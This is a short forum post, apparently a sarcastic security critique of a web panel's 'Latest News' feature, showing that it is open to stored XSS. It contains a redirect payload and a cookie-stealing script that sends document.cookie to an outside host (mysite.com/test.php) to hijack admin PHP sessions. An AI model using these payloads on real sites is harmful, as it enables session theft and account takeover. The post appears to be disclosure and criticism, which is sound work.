Very good protection against XSS! Very much..
http://www.tehupload.com/uploads/app...5551292735.png
http://www.tehupload.com/uploads/app...6244368059.png
---------------------------------------
Back to the XSS thing.. so now that we've proved it has XSS vulnerabilites.. how easy is it to take over the entire panel.. now that the "Latest News" is shown to anyone who views the panel.. logged in or not..
This is easy..
http://www.tehupload.com/uploads/app...7734761346.png
But what about something like this?
Code:
<script>window.location = "http://www.google.com";</script>
Of course redirecting it to a much.. how can I say.. annoying? Site would be just as easy..
Or we could get even more advanced (if the panel had user levels).. and begin stealing admin's sessions..
Code:
<script type="text/javascript">
var div = $('header');
var element = document.createElement('img');
element.src="http://mysite.com/test.php?cookie="+encodeURI(document.cookie);
element.style.display = "none";
div.appendChild(element);
</script>
How about something like that? Now we have the user's PHPSESSID and can easily "become them".. because all you check is the $_SESSION['username'].. nothing else..
how secure..
0.5/10
-
Caleb